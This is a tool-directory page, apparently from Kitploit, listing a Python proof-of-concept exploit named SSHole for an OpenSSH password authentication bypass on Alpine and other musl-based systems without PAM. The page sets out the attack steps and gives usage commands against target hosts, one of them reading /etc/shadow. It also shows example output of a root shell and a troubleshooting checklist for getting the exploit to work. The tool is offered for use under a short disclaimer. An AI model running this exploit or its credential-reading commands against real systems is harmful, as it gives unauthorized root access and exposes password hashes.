Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-123158 — Python PoC for CVE-2026-123158: exploits an OpenSSH password authentication bypass on musl libc systems without PAM to obtain shell access on Alpine targets. | Kitploit
أدوات/GitHubGitHub/gotr00t0day/cve-2026-123158
Embedded Systems SecurityVulnerability AnalysisExploitationNetwork SecurityPenetration TestingAuthenticationRemote Access Tool
GitHubgotr00t0day/cve-2026-123158

CVE-2026-123158

Python PoC for CVE-2026-123158: exploits an OpenSSH password authentication bypass on musl libc systems without PAM to obtain shell access on Alpine targets.

عرض المستودع
1منذ 2 أياملم تتم المراجعة بعد
مشاركة
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

SSHole — CVE-2026-123158

OpenSSH password authentication bypass on musl libc without PAM

by c0d3Ninja


Vulnerability

FieldDetail
CVECVE-2026-123158
ComponentOpenSSH — sshd (password auth)
Affected libcmusl (Alpine Linux)
Requires PAMNo — exploitable when UsePAM no
Auth prerequisitePasswordAuthentication yes

Overview

SSHole exploits a memory-comparison edge case in musl libc's string-handling routines as invoked by OpenSSH's password authentication path when PAM is not in use. Sending an overlong password string on a second consecutive attempt after an intentional first failure can cause the comparison to succeed unconditionally for accounts whose shadow entry contains an unlocked password slot.

The PoC targets Alpine Linux containers and embedded systems where OpenSSH is compiled against musl without PAM support — a common profile for Docker base images and IoT firmware.


How It Works

  1. Connect without host-key verification — A raw paramiko.Transport is opened so the PoC can call auth_password directly, bypassing the normal SSH client key-checking flow.

  2. First attempt — deliberate failure — An overlong password ("A" × 300) is sent. sshd rejects it, priming musl's internal allocator state.

  3. Second attempt — bypass trigger — The same overlong password is sent again on the same transport. Due to the allocator side-effect, the libc comparison returns a match and sshd grants access.

  4. Command execution — The authenticated transport opens a channel and runs the caller-supplied command (default: id; uname -a; cat /etc/os-release).


Requirements

  • Python 3.9+
  • paramiko — pip install paramiko
  • Target running Alpine Linux (or any musl-based OS) with an unpatched openssh-server
  • Target sshd config: PasswordAuthentication yes and UsePAM no
  • At least one account with an unlocked shadow entry (not ! or * prefixed)
  • At least one other account with a $5$ or $6$ password hash present

Usage

# Single username
python3 sshole_poc.py 192.168.1.10 -u root

# Try multiple usernames in order
python3 sshole_poc.py 192.168.1.10 --users root alpine guest admin

# Custom port and command
python3 sshole_poc.py 192.168.1.10 -p 2222 -u root -c "cat /etc/shadow"

# Use default username wordlist (root, alpine, guest, admin, user)
python3 sshole_poc.py 192.168.1.10

Arguments

host              Target IP or hostname
-p, --port        SSH port (default: 22)
-u, --user        Single username to try
    --users       Space-separated list of usernames
-c, --cmd         Command to run on success
    --timeout     Connection timeout in seconds (default: 10)

Example Output

============================================================
  CVE-2026-123158  (SSHole)  —  OpenSSH auth bypass PoC
============================================================
  Target  : 192.168.1.10:22
  Users   : root
  PW len  : 300 bytes
  Command : id; uname -a; cat /etc/os-release
============================================================

[*] Trying 'root' ...
[+] Auth succeeded on attempt 2 as 'root'

[+] ===  SHELL ACCESS  ===
[+] Authenticated as: root

uid=0(root) gid=0(root) groups=0(root)
Linux hostname 5.15.0-alpine #1 SMP Mon Jan 1 00:00:00 UTC 2026 x86_64 Linux
NAME="Alpine Linux"
VERSION_ID=3.19.0

Failure Checklist

If no username succeeds, verify the following on the target:

  • PasswordAuthentication yes in /etc/ssh/sshd_config
  • Account has * (not ! or a hash) in /etc/shadow
  • At least one other account has a $5$/$6$ hash in shadow
  • PAM is disabled — UsePAM no or sshd built --without-pam
  • Target is actually Alpine / musl, not glibc-based
  • Package is not patched — check with apk info -v openssh-server

Disclaimer

For authorized testing and research only. Use of this tool against systems without explicit written permission is illegal and unethical. The author assumes no liability for misuse. Test only in environments you own or have been authorized to assess.

تنزيل الأداة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 مجموعة أدوات OSINT المثالية: رسم بياني للتحقيق، وتقييم الثقة، وعائلات الأسماء المستعارة، وخريطة، وخط زمني، وتقارير. 49 وحدة، وأكثر من 400 موقع، دون الحاجة إلى مفاتيح API.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    منصة CSIRT تستقبل تقارير Shadowserver في MongoDB وتعيد عرضها كخرائط تفاعلية وتحليلات ونتائج وإرشادات ولوحات معلومات تنفيذية.

    371
  • 4

    redforge

    cybersecurity91/redforge

    مجموعة أدوات الفريق الأحمر في المتصفح مع 102 أداة دون اتصال للاستطلاع، وتوليد الحمولات، وهجمات بيانات الاعتماد، والتشفير، والترميز، وإعداد تقارير المهام.

    336
  • 5

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    نظام العمل للأمن السيبراني الأصلي بالذكاء الاصطناعي — حيث تتحول النية إلى تنفيذ محكوم، وتصبح الأدلة ذاكرة تشغيلية، وكل عملية تحسن التي تليها.

    322

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →